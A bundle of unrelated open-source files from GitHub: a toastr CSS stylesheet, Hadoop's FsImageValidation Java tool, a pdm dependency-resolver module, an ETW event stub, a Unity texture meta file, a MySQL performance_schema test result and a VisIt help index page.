{% seo title=false %}
| {
"pile_set_name": "Github"
} |
.toast-title {
font-weight: bold;
}
.toast-message {
-ms-word-wrap: break-word;
word-wrap: break-word;
}
.toast-message a,
.toast-message label {
color: #FFFFFF;
}
.toast-message a:hover {
color: #CCCCCC;
text-decoration: none;
}
.toast-close-button {
position: relative;
right: -0.3em;
top: -0.3em;
float: right;
font-size: 20px;
font-weight: bold;
color: #FFFFFF;
text-shadow: 0 1px 0 #ffffff;
line-height: 1;
}
.toast-close-button:hover,
.toast-close-button:focus {
color: #000000;
text-decoration: none;
cursor: pointer;
}
.rtl .toast-close-button {
left: -0.3em;
float: left;
right: 0.3em;
}
/*Additional properties for button version
iOS requires the button element instead of an anchor tag.
If you want the anchor version, it requires `href="#"`.*/
button.toast-close-button {
padding: 0;
cursor: pointer;
background: transparent;
border: 0;
-webkit-appearance: none;
}
.toast-top-center {
top: 15px;
right: 0;
width: 100%;
}
.toast-bottom-center {
bottom: 0;
right: 0;
width: 100%;
}
.toast-top-full-width {
top: 0;
right: 0;
width: 100%;
}
.toast-bottom-full-width {
bottom: 0;
right: 0;
width: 100%;
}
.toast-top-left {
top: 12px;
left: 12px;
}
.toast-top-right {
top: 12px;
right: 12px;
}
.toast-bottom-right {
right: 12px;
bottom: 12px;
}
.toast-bottom-left {
bottom: 12px;
left: 12px;
}
#toast-container {
position: fixed;
z-index: 999999;
pointer-events: none;
/*overrides*/
}
#toast-container * {
-moz-box-sizing: border-box;
-webkit-box-sizing: border-box;
box-sizing: border-box;
}
#toast-container > div {
position: relative;
pointer-events: auto;
overflow: hidden;
margin: 0 0 6px;
padding: 15px 15px 15px 50px;
width: 300px;
-moz-border-radius: 3px 3px 3px 3px;
-webkit-border-radius: 3px 3px 3px 3px;
border-radius: 3px 3px 3px 3px;
background-position: 15px center;
background-repeat: no-repeat;
color: #FFFFFF;
}
#toast-container > div.rtl {
direction: rtl;
padding: 15px 50px 15px 15px;
background-position: right 15px center;
}
#toast-container > div:hover {
opacity: 1;
cursor: pointer;
}
#toast-container > .toast-info {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAGwSURBVEhLtZa9SgNBEMc9sUxxRcoUKSzSWIhXpFMhhYWFhaBg4yPYiWCXZxBLERsLRS3EQkEfwCKdjWJAwSKCgoKCcudv4O5YLrt7EzgXhiU3/4+b2ckmwVjJSpKkQ6wAi4gwhT+z3wRBcEz0yjSseUTrcRyfsHsXmD0AmbHOC9Ii8VImnuXBPglHpQ5wwSVM7sNnTG7Za4JwDdCjxyAiH3nyA2mtaTJufiDZ5dCaqlItILh1NHatfN5skvjx9Z38m69CgzuXmZgVrPIGE763Jx9qKsRozWYw6xOHdER+nn2KkO+Bb+UV5CBN6WC6QtBgbRVozrahAbmm6HtUsgtPC19tFdxXZYBOfkbmFJ1VaHA1VAHjd0pp70oTZzvR+EVrx2Ygfdsq6eu55BHYR8hlcki+n+kERUFG8BrA0BwjeAv2M8WLQBtcy+SD6fNsmnB3AlBLrgTtVW1c2QN4bVWLATaIS60J2Du5y1TiJgjSBvFVZgTmwCU+dAZFoPxGEEs8nyHC9Bwe2GvEJv2WXZb0vjdyFT4Cxk3e/kIqlOGoVLwwPevpYHT+00T+hWwXDf4AJAOUqWcDhbwAAAAASUVORK5CYII=") !important;
}
#toast-container > .toast-error {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAHOSURBVEhLrZa/SgNBEMZzh0WKCClSCKaIYOED+AAKeQQLG8HWztLCImBrYadgIdY+gIKNYkBFSwu7CAoqCgkkoGBI/E28PdbLZmeDLgzZzcx83/zZ2SSXC1j9fr+I1Hq93g2yxH4iwM1vkoBWAdxCmpzTxfkN2RcyZNaHFIkSo10+8kgxkXIURV5HGxTmFuc75B2RfQkpxHG8aAgaAFa0tAHqYFfQ7Iwe2yhODk8+J4C7yAoRTWI3w/4klGRgR4lO7Rpn9+gvMyWp+uxFh8+H+ARlgN1nJuJuQAYvNkEnwGFck18Er4q3egEc/oO+mhLdKgRyhdNFiacC0rlOCbhNVz4H9FnAYgDBvU3QIioZlJFLJtsoHYRDfiZoUyIxqCtRpVlANq0EU4dApjrtgezPFad5S19Wgjkc0hNVnuF4HjVA6C7QrSIbylB+oZe3aHgBsqlNqKYH48jXyJKMuAbiyVJ8KzaB3eRc0pg9VwQ4niFryI68qiOi3AbjwdsfnAtk0bCjTLJKr6mrD9g8iq/S/B81hguOMlQTnVyG40wAcjnmgsCNESDrjme7wfftP4P7SP4N3CJZdvzoNyGq2c/HWOXJGsvVg+RA/k2MC/wN6I2YA2Pt8GkAAAAASUVORK5CYII=") !important;
}
#toast-container > .toast-success {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAADsSURBVEhLY2AYBfQMgf///3P8+/evAIgvA/FsIF+BavYDDWMBGroaSMMBiE8VC7AZDrIFaMFnii3AZTjUgsUUWUDA8OdAH6iQbQEhw4HyGsPEcKBXBIC4ARhex4G4BsjmweU1soIFaGg/WtoFZRIZdEvIMhxkCCjXIVsATV6gFGACs4Rsw0EGgIIH3QJYJgHSARQZDrWAB+jawzgs+Q2UO49D7jnRSRGoEFRILcdmEMWGI0cm0JJ2QpYA1RDvcmzJEWhABhD/pqrL0S0CWuABKgnRki9lLseS7g2AlqwHWQSKH4oKLrILpRGhEQCw2LiRUIa4lwAAAABJRU5ErkJggg==") !important;
}
#toast-container > .toast-warning {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAGYSURBVEhL5ZSvTsNQFMbXZGICMYGYmJhAQIJAICYQPAACiSDB8AiICQQJT4CqQEwgJvYASAQCiZiYmJhAIBATCARJy+9rTsldd8sKu1M0+dLb057v6/lbq/2rK0mS/TRNj9cWNAKPYIJII7gIxCcQ51cvqID+GIEX8ASG4B1bK5gIZFeQfoJdEXOfgX4QAQg7kH2A65yQ87lyxb27sggkAzAuFhbbg1K2kgCkB1bVwyIR9m2L7PRPIhDUIXgGtyKw575yz3lTNs6X4JXnjV+LKM/m3MydnTbtOKIjtz6VhCBq4vSm3ncdrD2lk0VgUXSVKjVDJXJzijW1RQdsU7F77He8u68koNZTz8Oz5yGa6J3H3lZ0xYgXBK2QymlWWA+RWnYhskLBv2vmE+hBMCtbA7KX5drWyRT/2JsqZ2IvfB9Y4bWDNMFbJRFmC9E74SoS0CqulwjkC0+5bpcV1CZ8NMej4pjy0U+doDQsGyo1hzVJttIjhQ7GnBtRFN1UarUlH8F3xict+HY07rEzoUGPlWcjRFRr4/gChZgc3ZL2d8oAAAAASUVORK5CYII=") !important;
}
#toast-container.toast-top-center > div,
#toast-container.toast-bottom-center > div {
width: 300px;
margin-left: auto;
margin-right: auto;
}
#toast-container.toast-top-full-width > div,
#toast-container.toast-bottom-full-width > div {
width: 96%;
margin-left: auto;
margin-right: auto;
}
.toast {
background-color: #030303;
}
.toast-progress {
position: absolute;
left: 0;
bottom: 0;
height: 4px;
background-color: #303030;
}
.toast-success {
background-color: #5baf5d;
}
.toast-success .toast-progress {
background-color: #417d42;
}
.toast-error {
background-color: #e04441;
}
.toast-error .toast-progress {
background-color: #ad3432;
}
.toast-info {
background-color: #68b0d4;
}
.toast-info .toast-progress {
background-color: #4f85a1;
}
.toast-warning {
background-color: #dea435;
}
.toast-warning .toast-progress {
background-color: #ab7d29;
}
/*Responsive Design*/
@media all and (max-width: 240px) {
#toast-container > div {
padding: 8px 8px 8px 50px;
width: 11em;
}
#toast-container > div.rtl {
padding: 8px 50px 8px 8px;
}
#toast-container .toast-close-button {
right: -0.2em;
top: -0.2em;
}
#toast-container .rtl .toast-close-button {
left: -0.2em;
right: 0.2em;
}
}
@media all and (min-width: 241px) and (max-width: 480px) {
#toast-container > div {
padding: 8px 8px 8px 50px;
width: 18em;
}
#toast-container > div.rtl {
padding: 8px 50px 8px 8px;
}
#toast-container .toast-close-button {
right: -0.2em;
top: -0.2em;
}
#toast-container .rtl .toast-close-button {
left: -0.2em;
right: 0.2em;
}
}
@media all and (min-width: 481px) and (max-width: 768px) {
#toast-container > div {
padding: 15px 15px 15px 50px;
width: 25em;
}
#toast-container > div.rtl {
padding: 15px 50px 15px 15px;
}
}
| {
"pile_set_name": "Github"
} |
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.hadoop.hdfs.server.namenode;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.apache.commons.logging.impl.Log4JLogger;
import org.apache.hadoop.HadoopIllegalArgumentException;
import org.apache.hadoop.conf.Configuration;
import org.apache.hadoop.conf.Configured;
import org.apache.hadoop.hdfs.DFSConfigKeys;
import org.apache.hadoop.hdfs.DFSUtil;
import org.apache.hadoop.hdfs.server.blockmanagement.BlockManager;
import org.apache.hadoop.hdfs.server.blockmanagement.DatanodeManager;
import org.apache.hadoop.hdfs.server.common.HdfsServerConstants;
import org.apache.hadoop.hdfs.server.common.Storage;
import org.apache.hadoop.hdfs.server.namenode.startupprogress.Phase;
import org.apache.hadoop.hdfs.server.namenode.NNStorage.NameNodeFile;
import org.apache.hadoop.hdfs.server.namenode.top.metrics.TopMetrics;
import org.apache.hadoop.hdfs.server.namenode.visitor.INodeCountVisitor;
import org.apache.hadoop.hdfs.server.namenode.visitor.INodeCountVisitor.Counts;
import org.apache.hadoop.hdfs.server.protocol.NamespaceInfo;
import org.apache.hadoop.util.GSet;
import org.apache.hadoop.util.StringUtils;
import org.apache.hadoop.util.Tool;
import org.apache.hadoop.util.ToolRunner;
import org.apache.log4j.Level;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.io.File;
import java.io.FilenameFilter;
import java.io.IOException;
import java.util.Arrays;
import java.util.Collections;
import java.util.Iterator;
import java.util.Timer;
import java.util.TimerTask;
import java.util.concurrent.atomic.AtomicInteger;
import static org.apache.hadoop.hdfs.DFSConfigKeys.DFS_HA_NAMENODES_KEY_PREFIX;
import static org.apache.hadoop.hdfs.DFSConfigKeys.DFS_NAMENODE_ENABLE_RETRY_CACHE_KEY;
import static org.apache.hadoop.hdfs.DFSConfigKeys.DFS_NAMENODE_READ_LOCK_REPORTING_THRESHOLD_MS_KEY;
import static org.apache.hadoop.hdfs.DFSConfigKeys.DFS_NAMENODE_RPC_ADDRESS_KEY;
import static org.apache.hadoop.hdfs.DFSConfigKeys.DFS_NAMENODE_WRITE_LOCK_REPORTING_THRESHOLD_MS_KEY;
import static org.apache.hadoop.hdfs.server.namenode.FsImageValidation.Cli.println;
import static org.apache.hadoop.util.Time.now;
/**
* For validating {@link FSImage}.
* This tool will load the user specified {@link FSImage},
* build the namespace tree,
* and then run validations over the namespace tree.
*
* The main difference of this tool and
* {@link org.apache.hadoop.hdfs.tools.offlineImageViewer.OfflineImageViewer}
* is that
* {@link org.apache.hadoop.hdfs.tools.offlineImageViewer.OfflineImageViewer}
* only loads {@link FSImage} but it does not build the namespace tree.
* Therefore, running validations over the namespace tree is impossible in
* {@link org.apache.hadoop.hdfs.tools.offlineImageViewer.OfflineImageViewer}.
*/
public class FsImageValidation {
static final Logger LOG = LoggerFactory.getLogger(FsImageValidation.class);
static final String FS_IMAGE = "FS_IMAGE";
static FsImageValidation newInstance(String... args) {
final String f = Cli.parse(args);
if (f == null) {
throw new HadoopIllegalArgumentException(
FS_IMAGE + " is not specified.");
}
return new FsImageValidation(new File(f));
}
static void initConf(Configuration conf) {
final int aDay = 24*3600_000;
conf.setInt(DFS_NAMENODE_READ_LOCK_REPORTING_THRESHOLD_MS_KEY, aDay);
conf.setInt(DFS_NAMENODE_WRITE_LOCK_REPORTING_THRESHOLD_MS_KEY, aDay);
conf.setBoolean(DFS_NAMENODE_ENABLE_RETRY_CACHE_KEY, false);
}
/** Set (fake) HA so that edit logs will not be loaded. */
static void setHaConf(String nsId, Configuration conf) {
conf.set(DFSConfigKeys.DFS_NAMESERVICES, nsId);
final String haNNKey = DFS_HA_NAMENODES_KEY_PREFIX + "." + nsId;
conf.set(haNNKey, "nn0,nn1");
final String rpcKey = DFS_NAMENODE_RPC_ADDRESS_KEY + "." + nsId + ".";
conf.set(rpcKey + "nn0", "127.0.0.1:8080");
conf.set(rpcKey + "nn1", "127.0.0.1:8080");
}
static void initLogLevels() {
Util.setLogLevel(FSImage.class, Level.TRACE);
Util.setLogLevel(FileJournalManager.class, Level.TRACE);
Util.setLogLevel(GSet.class, Level.OFF);
Util.setLogLevel(BlockManager.class, Level.OFF);
Util.setLogLevel(DatanodeManager.class, Level.OFF);
Util.setLogLevel(TopMetrics.class, Level.OFF);
}
static class Util {
static String memoryInfo() {
final Runtime runtime = Runtime.getRuntime();
return "Memory Info: free=" + StringUtils.byteDesc(runtime.freeMemory())
+ ", total=" + StringUtils.byteDesc(runtime.totalMemory())
+ ", max=" + StringUtils.byteDesc(runtime.maxMemory());
}
static void setLogLevel(Class<?> clazz, Level level) {
final Log log = LogFactory.getLog(clazz);
if (log instanceof Log4JLogger) {
final org.apache.log4j.Logger logger = ((Log4JLogger) log).getLogger();
logger.setLevel(level);
LOG.info("setLogLevel {} to {}, getEffectiveLevel() = {}",
clazz.getName(), level, logger.getEffectiveLevel());
} else {
LOG.warn("Failed setLogLevel {} to {}", clazz.getName(), level);
}
}
static String toCommaSeparatedNumber(long n) {
final StringBuilder b = new StringBuilder();
for(; n > 999;) {
b.insert(0, String.format(",%03d", n%1000));
n /= 1000;
}
return b.insert(0, n).toString();
}
/** @return a filter for the given type. */
static FilenameFilter newFilenameFilter(NameNodeFile type) {
final String prefix = type.getName() + "_";
return new FilenameFilter() {
@Override
public boolean accept(File dir, String name) {
if (!name.startsWith(prefix)) {
return false;
}
for (int i = prefix.length(); i < name.length(); i++) {
if (!Character.isDigit(name.charAt(i))) {
return false;
}
}
return true;
}
};
}
}
private final File fsImageFile;
FsImageValidation(File fsImageFile) {
this.fsImageFile = fsImageFile;
}
int run() throws Exception {
return run(new Configuration(), new AtomicInteger());
}
int run(AtomicInteger errorCount) throws Exception {
return run(new Configuration(), errorCount);
}
int run(Configuration conf, AtomicInteger errorCount) throws Exception {
final int initCount = errorCount.get();
LOG.info(Util.memoryInfo());
initConf(conf);
// check INodeReference
final FSNamesystem namesystem = checkINodeReference(conf, errorCount);
// check INodeMap
INodeMapValidation.run(namesystem.getFSDirectory(), errorCount);
LOG.info(Util.memoryInfo());
final int d = errorCount.get() - initCount;
if (d > 0) {
Cli.println("Found %d error(s) in %s", d, fsImageFile.getAbsolutePath());
}
return d;
}
private FSNamesystem loadImage(Configuration conf) throws IOException {
final TimerTask checkProgress = new TimerTask() {
@Override
public void run() {
final double percent = NameNode.getStartupProgress().createView()
.getPercentComplete(Phase.LOADING_FSIMAGE);
LOG.info(String.format("%s Progress: %.1f%% (%s)",
Phase.LOADING_FSIMAGE, 100*percent, Util.memoryInfo()));
}
};
final Timer t = new Timer();
t.scheduleAtFixedRate(checkProgress, 0, 60_000);
final long loadStart = now();
final FSNamesystem namesystem;
if (fsImageFile.isDirectory()) {
Cli.println("Loading %s as a directory.", fsImageFile);
final String dir = fsImageFile.getCanonicalPath();
conf.set(DFSConfigKeys.DFS_NAMENODE_NAME_DIR_KEY, dir);
conf.set(DFSConfigKeys.DFS_NAMENODE_EDITS_DIR_KEY, dir);
final FSImage fsImage = new FSImage(conf);
namesystem = new FSNamesystem(conf, fsImage, true);
// Avoid saving fsimage
namesystem.setRollingUpgradeInfo(false, 0);
namesystem.loadFSImage(HdfsServerConstants.StartupOption.REGULAR);
} else {
Cli.println("Loading %s as a file.", fsImageFile);
final FSImage fsImage = new FSImage(conf);
namesystem = new FSNamesystem(conf, fsImage, true);
final NamespaceInfo namespaceInfo = NNStorage.newNamespaceInfo();
namespaceInfo.clusterID = "cluster0";
fsImage.getStorage().setStorageInfo(namespaceInfo);
final FSImageFormat.LoaderDelegator loader
= FSImageFormat.newLoader(conf, namesystem);
namesystem.writeLock();
namesystem.getFSDirectory().writeLock();
try {
loader.load(fsImageFile, false);
} finally {
namesystem.getFSDirectory().writeUnlock();
namesystem.writeUnlock();
}
}
t.cancel();
Cli.println("Loaded %s %s successfully in %s",
FS_IMAGE, fsImageFile, StringUtils.formatTime(now() - loadStart));
return namesystem;
}
FSNamesystem checkINodeReference(Configuration conf,
AtomicInteger errorCount) throws Exception {
INodeReferenceValidation.start();
final FSNamesystem namesystem = loadImage(conf);
LOG.info(Util.memoryInfo());
INodeReferenceValidation.end(errorCount);
LOG.info(Util.memoryInfo());
return namesystem;
}
static class INodeMapValidation {
static Iterable<INodeWithAdditionalFields> iterate(INodeMap map) {
return new Iterable<INodeWithAdditionalFields>() {
@Override
public Iterator<INodeWithAdditionalFields> iterator() {
return map.getMapIterator();
}
};
}
static void run(FSDirectory fsdir, AtomicInteger errorCount) {
final int initErrorCount = errorCount.get();
final Counts counts = INodeCountVisitor.countTree(fsdir.getRoot());
for (INodeWithAdditionalFields i : iterate(fsdir.getINodeMap())) {
if (counts.getCount(i) == 0) {
Cli.printError(errorCount, "%s (%d) is inaccessible (%s)",
i, i.getId(), i.getFullPathName());
}
}
println("%s ended successfully: %d error(s) found.",
INodeMapValidation.class.getSimpleName(),
errorCount.get() - initErrorCount);
}
}
static class Cli extends Configured implements Tool {
static final String COMMAND;
static final String USAGE;
static {
final String clazz = FsImageValidation.class.getSimpleName();
COMMAND = Character.toLowerCase(clazz.charAt(0)) + clazz.substring(1);
USAGE = "Usage: hdfs " + COMMAND + " <" + FS_IMAGE + ">";
}
@Override
public int run(String[] args) throws Exception {
initLogLevels();
final FsImageValidation validation = FsImageValidation.newInstance(args);
final AtomicInteger errorCount = new AtomicInteger();
validation.run(getConf(), errorCount);
println("Error Count: %s", errorCount);
return errorCount.get() == 0? 0: 1;
}
static String parse(String... args) {
final String f;
if (args == null || args.length == 0) {
f = System.getenv().get(FS_IMAGE);
if (f != null) {
println("Environment variable %s = %s", FS_IMAGE, f);
}
} else if (args.length == 1) {
f = args[0];
} else {
throw new HadoopIllegalArgumentException(
"args = " + Arrays.toString(args));
}
println("%s = %s", FS_IMAGE, f);
return f;
}
static synchronized void println(String format, Object... args) {
final String s = String.format(format, args);
System.out.println(s);
LOG.info(s);
}
static synchronized void warn(String format, Object... args) {
final String s = "WARN: " + String.format(format, args);
System.out.println(s);
LOG.warn(s);
}
static synchronized void printError(String message, Throwable t) {
System.out.println(message);
if (t != null) {
t.printStackTrace(System.out);
}
LOG.error(message, t);
}
static synchronized void printError(AtomicInteger errorCount,
String format, Object... args) {
final int count = errorCount.incrementAndGet();
final String s = "FSIMAGE_ERROR " + count + ": "
+ String.format(format, args);
System.out.println(s);
LOG.info(s);
}
}
public static int validate(FSNamesystem namesystem) throws Exception {
final AtomicInteger errorCount = new AtomicInteger();
final NNStorage nnStorage = namesystem.getFSImage().getStorage();
for(Storage.StorageDirectory sd : nnStorage.getStorageDirs()) {
validate(sd.getCurrentDir(), errorCount);
}
return errorCount.get();
}
public static void validate(File path, AtomicInteger errorCount)
throws Exception {
if (path.isFile()) {
new FsImageValidation(path).run(errorCount);
} else if (path.isDirectory()) {
final File[] images = path.listFiles(
Util.newFilenameFilter(NameNodeFile.IMAGE));
if (images == null || images.length == 0) {
Cli.warn("%s not found in %s", FSImage.class.getSimpleName(),
path.getAbsolutePath());
return;
}
Arrays.sort(images, Collections.reverseOrder());
for (int i = 0; i < images.length; i++) {
final File image = images[i];
Cli.println("%s %d) %s", FSImage.class.getSimpleName(),
i, image.getAbsolutePath());
FsImageValidation.validate(image, errorCount);
}
}
Cli.warn("%s is neither a file nor a directory", path.getAbsolutePath());
}
public static void main(String[] args) {
if (DFSUtil.parseHelpArgument(args, Cli.USAGE, System.out, true)) {
System.exit(0);
}
try {
System.exit(ToolRunner.run(new Configuration(), new Cli(), args));
} catch (HadoopIllegalArgumentException e) {
e.printStackTrace(System.err);
System.err.println(Cli.USAGE);
System.exit(-1);
ToolRunner.printGenericCommandUsage(System.err);
} catch (Throwable e) {
Cli.printError("Failed to run " + Cli.COMMAND, e);
System.exit(-2);
}
}
}
| {
"pile_set_name": "Github"
} |
from __future__ import annotations
from typing import TYPE_CHECKING, Dict, Iterable, List, Optional, Set, Tuple
from resolvelib.resolvers import Criterion, Resolution
from pdm.models.markers import PySpecSet, join_metaset
from pdm.models.requirements import strip_extras
if TYPE_CHECKING:
from resolvelib.resolvers import Resolver, Result
from pdm.models.candidates import Candidate
from pdm.models.markers import Marker
from pdm.models.requirements import Requirement
# Monkey patch `resolvelib.resolvers.Resolution._merge_into_criterion`.
def _merge_into_criterion(self, requirement, parent):
self._r.adding_requirement(requirement, parent)
name = self._p.identify(requirement)
try:
crit = self.state.criteria[name]
except KeyError:
crit = Criterion.from_requirement(self._p, requirement, parent)
else:
crit = crit.merged_with(self._p, requirement, parent)
if not name:
# For local packages, name is only available after candidate is resolved
name = self._p.identify(requirement)
return name, crit
Resolution._merge_into_criterion = _merge_into_criterion
del _merge_into_criterion
def _identify_parent(parent: Optional[Candidate]) -> None:
return parent.identify() if parent else None
def _build_marker_and_pyspec(
key: str,
criterion: Criterion,
pythons: Dict[str, PySpecSet],
all_metasets: Dict[str, Tuple[Optional[Marker], PySpecSet]],
keep_unresolved: Set[Optional[str]],
) -> Tuple[Optional[Marker], PySpecSet]:
metasets = None
for r, parent in criterion.information:
if parent and _identify_parent(parent) in keep_unresolved:
continue
python = pythons[strip_extras(key)[0]]
marker, pyspec = r.marker_no_python, r.requires_python
pyspec = python & pyspec
# Use 'and' to connect markers inherited from parent.
if not parent:
parent_metaset = None, PySpecSet()
else:
parent_metaset = all_metasets[_identify_parent(parent)]
child_marker = (
parent_metaset[0] & marker if any((parent_metaset[0], marker)) else None
)
child_pyspec = parent_metaset[1] & pyspec
if not metasets:
metasets = child_marker, child_pyspec
else:
# Use 'or' to connect metasets inherited from different parents.
marker = metasets[0] | child_marker if any((child_marker, marker)) else None
metasets = marker, metasets[1] | child_pyspec
return metasets or (None, PySpecSet())
def _get_sections(crit: Criterion) -> Iterable[str]:
for req, parent in crit.information:
if not parent:
yield req.from_section
else:
yield from parent.sections
def _calculate_markers_and_pyspecs(
result: Result, pythons: Dict[str, PySpecSet]
) -> Dict[str, Tuple[Optional[Marker], PySpecSet]]:
all_metasets = {}
unresolved = {k for k in result.mapping}
circular = {}
while unresolved:
new_metasets = {}
for k in unresolved:
crit = result.criteria[k] # type: Criterion
keep_unresolved = circular.get(k, set())
# All parents must be resolved first
if any(
p and _identify_parent(p) in (unresolved - keep_unresolved)
for p in crit.iter_parent()
):
continue
new_metasets[k] = _build_marker_and_pyspec(
k, crit, pythons, all_metasets, keep_unresolved
)
result.mapping[k].sections = list(set(_get_sections(crit)))
if new_metasets:
all_metasets.update(new_metasets)
for key in new_metasets:
unresolved.remove(key)
else:
# No progress, there are likely circular dependencies.
# Pick one package and keep its parents unresolved now, we will get into it
# after all others are resolved.
package = next((p for p in unresolved if p not in circular), None)
if not package:
break
crit = result.criteria[package]
unresolved_parents = set(
filter(
lambda p: p in unresolved and p != package,
(_identify_parent(p) for p in crit.iter_parent() if p),
)
)
circular[package] = unresolved_parents
for key in circular:
crit = result.criteria[key]
all_metasets[key] = _build_marker_and_pyspec(
key, crit, pythons, all_metasets, set()
)
result.mapping[key].sections = list(set(_get_sections(crit)))
return all_metasets
def _get_sections_from_top_requirements(traces):
all_sections = {}
for key, trace in traces.items():
all_sections[key] = set(item[0][2:-2] for item in trace)
return all_sections
def resolve(
resolver: Resolver, requirements: List[Requirement], requires_python: PySpecSet
) -> Tuple[Dict[str, Candidate], Dict[str, Dict[str, Requirement]], Dict[str, str]]:
provider, reporter = resolver.provider, resolver.reporter
result = resolver.resolve(requirements)
reporter.extract_metadata()
all_metasets = _calculate_markers_and_pyspecs(
result, provider.requires_python_collection
)
mapping = result.mapping
for key, metaset in all_metasets.items():
if key is None:
continue
# Root requires_python doesn't participate in the metaset resolving,
# now check it!
python = requires_python & metaset[1]
if python.is_impossible:
# Candidate doesn't match requires_python constraint
del mapping[key]
else:
candidate = mapping[key]
candidate.marker = join_metaset(metaset)
candidate.hashes = provider.get_hashes(candidate)
return mapping, provider.fetched_dependencies, provider.summary_collection
| {
"pile_set_name": "Github"
} |
# Event 1005 - LanguagePackSetupWorkerClassfunctionality
###### Version: 0
## Description
None
## Data Dictionary
|Standard Name|Field Name|Type|Description|Sample Value|
|---|---|---|---|---|
|TBD|Parameter|UnicodeString|None|`None`|
## Tags
* etw_level_Error
* etw_opcode_LanguagePackSetupinitializationoperation
* etw_task_LanguagePackSetupWorkerClassfunctionality | {
"pile_set_name": "Github"
} |
fileFormatVersion: 2
guid: 9ad14cfad64ca4ee2b170f93d0b5c766
timeCreated: 1494634140
licenseType: Pro
TextureImporter:
fileIDToRecycleName: {}
serializedVersion: 4
mipmaps:
mipMapMode: 0
enableMipMap: 0
sRGBTexture: 1
linearTexture: 0
fadeOut: 0
borderMipMap: 0
mipMapFadeDistanceStart: 1
mipMapFadeDistanceEnd: 3
bumpmap:
convertToNormalMap: 0
externalNormalMap: 0
heightScale: 0.25
normalMapFilter: 0
isReadable: 0
grayScaleToAlpha: 0
generateCubemap: 6
cubemapConvolution: 0
seamlessCubemap: 0
textureFormat: 1
maxTextureSize: 2048
textureSettings:
filterMode: 0
aniso: -1
mipBias: -1
wrapMode: 1
nPOTScale: 1
lightmap: 0
compressionQuality: 50
spriteMode: 0
spriteExtrude: 1
spriteMeshType: 1
alignment: 0
spritePivot: {x: 0.5, y: 0.5}
spriteBorder: {x: 0, y: 0, z: 0, w: 0}
spritePixelsToUnits: 100
alphaUsage: 1
alphaIsTransparency: 1
spriteTessellationDetail: -1
textureType: 0
textureShape: 1
maxTextureSizeSet: 0
compressionQualitySet: 0
textureFormatSet: 0
platformSettings:
- buildTarget: DefaultTexturePlatform
maxTextureSize: 2048
textureFormat: -1
textureCompression: 1
compressionQuality: 50
crunchedCompression: 0
allowsAlphaSplitting: 0
overridden: 0
- buildTarget: Standalone
maxTextureSize: 2048
textureFormat: -1
textureCompression: 1
compressionQuality: 50
crunchedCompression: 0
allowsAlphaSplitting: 0
overridden: 0
- buildTarget: Android
maxTextureSize: 2048
textureFormat: -1
textureCompression: 1
compressionQuality: 50
crunchedCompression: 0
allowsAlphaSplitting: 0
overridden: 0
spriteSheet:
serializedVersion: 2
sprites: []
outline: []
spritePackingTag:
userData:
assetBundleName:
assetBundleVariant:
| {
"pile_set_name": "Github"
} |
alter table performance_schema.setup_instruments add column foo integer;
ERROR 42000: Access denied for user 'root'@'localhost' to database 'performance_schema'
truncate table performance_schema.setup_instruments;
ERROR HY000: Invalid performance_schema usage.
ALTER TABLE performance_schema.setup_instruments ADD INDEX test_index(NAME);
ERROR 42000: Access denied for user 'root'@'localhost' to database 'performance_schema'
CREATE UNIQUE INDEX test_index ON performance_schema.setup_instruments(NAME);
ERROR 42000: Access denied for user 'root'@'localhost' to database 'performance_schema'
| {
"pile_set_name": "Github"
} |
<html>
<head>
<title>Visualization Windows</title>
</head>
<body link="#0000FF" vlink="#800080" alink="#FF0000" bgcolor="#FFFFFF">
<center align="right">[<a href="list0005.html">Back</a>] [<a href="list0000.html">Up</a>] [<a href="list0007.html">Next</a>]</center><h2>Visualization Windows</h2>
<ul>
<li><a href="help0258.html">Overview</a></li>
<li><a href="help0259.html">Managing vis windows</a>
<ul>
<li><a href="help0260.html">Adding a new vis window</a></li>
<li><a href="help0261.html">Deleting a vis window</a></li>
<li><a href="help0262.html">Clearing plots from vis windows</a></li>
<li><a href="help0263.html">Changing window layouts</a></li>
<li><a href="help0264.html">Setting the active window</a>
<ul>
<li><a href="help0265.html">Copying window attributes</a></li>
<li><a href="help0266.html">Locking vis windows together</a></li>
</ul></li>
</ul></li>
<li><a href="help0267.html">Using vis windows</a>
<ul>
<li><a href="help0268.html">Navigate mode</a></li>
<li><a href="help0269.html">Zoom mode</a></li>
<li><a href="help0270.html">Lineout mode</a></li>
<li><a href="help0271.html">Pick mode</a></li>
</ul></li>
<li><a href="help0272.html">Interactor settings</a>
<ul>
<li><a href="help0273.html">Zoom interactor settings</a></li>
<li><a href="help0274.html">Navigation styles</a></li>
</ul></li>
<li><a href="help0275.html">The Popup menu and the Toolbar</a>
<ul>
<li><a href="help0276.html">Hiding toolbars</a></li>
<li><a href="help0277.html">Moving toolbars</a></li>
<li><a href="help0278.html">Switching window modes</a></li>
<li><a href="help0279.html">Activating tools</a></li>
<li><a href="help0280.html">View options</a>
<ul>
<li><a href="help0281.html">Resetting the view</a></li>
<li><a href="help0282.html">Recentering the view</a></li>
<li><a href="help0283.html">Undo view</a></li>
